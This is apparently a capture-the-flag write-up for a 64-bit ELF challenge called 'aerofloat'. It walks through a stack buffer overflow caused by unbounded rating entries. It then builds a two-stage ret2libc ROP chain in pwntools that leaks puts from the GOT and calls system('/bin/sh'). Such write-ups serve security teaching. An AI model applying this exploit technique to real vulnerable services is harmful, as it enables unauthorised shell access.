$ file aerofloat aerofloat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped $ checksec --file=./aerofloat RELRO: Partial STACK CANARY: No NX: Yes PIE: No Symbols: 76 $ strings libc.so.6 | grep "glibc 2." glibc 2.29
We have a 64 bit ELF binary, with PIE disabled and no stack canary. To make things easier the challenge provider also gives us the glibc used on the server (2.29).
./aerofloat {?} Enter name: meowmeowxw # input 1. Set rating 2. View rating list 3. View porfile info 4. Exit > 1 # input {?} Enter your ticket id: 1 # input {?} Enter your rating: 1 # input {+} You set rating <1.000000> to ticket <1> 1. Set rating 2. View rating list 3. View porfile info 4. Exit > 1 {?} Enter your ticket id: 2 {?} Enter your rating: 2.2 {+} You set rating <2.200000> to ticket <2> 1. Set rating 2. View rating list 3. View porfile info 4. Exit > 1 {?} Enter your ticket id: 1 {?} Enter your rating: 1 {+} You set rating <1.000000> to ticket <1> 1. Set rating 2. View rating list 3. View porfile info 4. Exit > 2 ----- Your rating list ----- ----- Rating [0] ----- Ticket: 1 Score: 1.000000 ----- Rating [1] ----- Ticket: 2 Score: 2.200000 ----- Rating [2] ----- Ticket: 1 Score: 1.000000 ------ Profile ------ Name: meowmeowxw You set 3 ratins 1. Set rating 2. View rating list 3. View porfile info 4. Exit > 3 ------ Profile ------ Name: meowmeowxw You set 3 ratins 1. Set rating 2. View rating list 3. View porfile info 4. Exit > 4
Ok basically with option 1 we can set a ticket id, and the respective score which is converted to float. Option 2 and 3 shows various information about our status and with 4 we exit.
Let’s open the binary in cutter, and this is the main decompile with r2ghidra-dec:
It reads 8 bytes from stdin and then it converts it to an int (casted to uint64_t) using atoi.
These are the functions defined in the binary:
As we can see there isn’t a function which magically prints the flag, so we need to break the binary and call a shell.
The main has allocated the following variables:
We can easily see that the pair (ticket id, score) will be saved in buffer_ticket. There isn’t a control on how many tickets we can set, so there is a stack-based buffer overflow. The option we need to look for is the option 1, so let’s check it from the disassembly, because the decompiled isn’t so understandable:
1 2 3 4 5 6 7 8 9 10 11 12 13
if ((int32_t)var_option == 1) { printf("{?} Enter your ticket id: "); read_buf(&buffer_ticket + (int64_t)(int32_t)counter * 2, 8); printf("{?} Enter your rating: "); __isoc99_scanf(0x40204c, auStack192 + (int64_t)(int32_t)counter * 2, (int64_t)(int32_t)counter * 0x10); // the following line is not decompiled correctly // printf(auStack192[(int64_t)(int32_t)counter * 2], "{+} You set rating <%lf> to ticket <%s>\n", // &buffer_ticket + (int64_t)(int32_t)counter * 2, // &buffer_ticket + (int64_t)(int32_t)counter * 2); counter = counter + 1; goto code_r0x004013de; }
Let’s divide it into three parts, and comment them using cutter (my comments in yellow):
So every 16 bytes there will be 8 bytes of the ticket id, which is a string.
Every 16 bytes + 8 there will be the score converted to double “%lf”.
And then the program print the information about the last ticket inserted, and increments the counter. To confirm this behaviour we can simply debug the program (ex. using gdb or cutter) and see how the values are stored on the stack.
Recap:
We know from the main variables that our buffer_ticket starts at $rbp-0xc0
Every time we set a ticket we insert 8 bytes + 8 bytes converted to double = 16 bytes.
Since 0xc0 = 16 * 12, after 12 insertions (option 1.) we starts to overwrite the base pointer (on the stack), and after other 8 bytes the return address.
Now it’s trivial to build a ROP chain. Since there is ASLR enabled on the server we need to leak an address from the glibc to know the address of system . To do that, I use a gadget to set in rdi the address of puts@got (which contains the address of puts in the glibc) and then I print it using puts@plt. Once I know the address of puts in the glibc, I can compute the address of the glibc (where it starts), and the addresses of system and /bin/sh (using the glibc provided). Now I just need to restart the main function and pass to the program the right gadgets to call system(‘/bin/sh’).
1 2 3 4 5 6
# 1st stage ret -> pop_rdi; ret -> puts@plt; ...; ret -> main puts@got # 2nd stage main -> ret -> pop_rdi; ret -> system -> shell addr(/bin/sh)
The last thing that we need, is to write a function that converts our input in a string that converted to double is equal to our input. This is needed when we want to insert arbitrary values inside the return address or more generally in the score.
# 1st stage snd.aero.recvuntil(':') snd.aero.sendline('giggi') for _ in range(0, 12): snd.send_ticket('1', '1') # rbp and return value snd.send_ticket(b'\x00' * 8, byte_to_float(pop_rdi)) # puts@plt(puts@got) snd.send_ticket(puts_got, byte_to_float(puts_plt)) # when return from puts@plt return to main, the second param is useless snd.send_ticket(main_sym, byte_to_float(main_sym))
snd.aero.recv() snd.aero.sendline('4') # an address a 64 bit uses only 48 bit, so we add two b'\x00' to pad to # 64 and unpack it puts_libc = u64(snd.aero.recv(6) + b'\x00' * 2) libc_base = puts_libc - snd.libc.sym['puts'] system = p64(libc_base + snd.libc.sym['system']) bin_sh = p64(libc_base + next(snd.libc.search(b'/bin/sh'))) log.info("puts: " + str(hex(puts_libc))) log.info("system: " + str(hex(u64(system)))) log.info("/bin/sh: " + str(hex(u64(bin_sh))))
# 2nd stage snd.aero.recvuntil(':') snd.aero.sendline('giggi') for _ in range(0, 12): snd.send_ticket('1', '1') # ret to -> system('/bin/sh') snd.send_ticket(b'\x00' * 8, byte_to_float(pop_rdi)) snd.send_ticket(bin_sh, byte_to_float(system)) snd.aero.recv() snd.aero.sendline('4') snd.aero.interactive()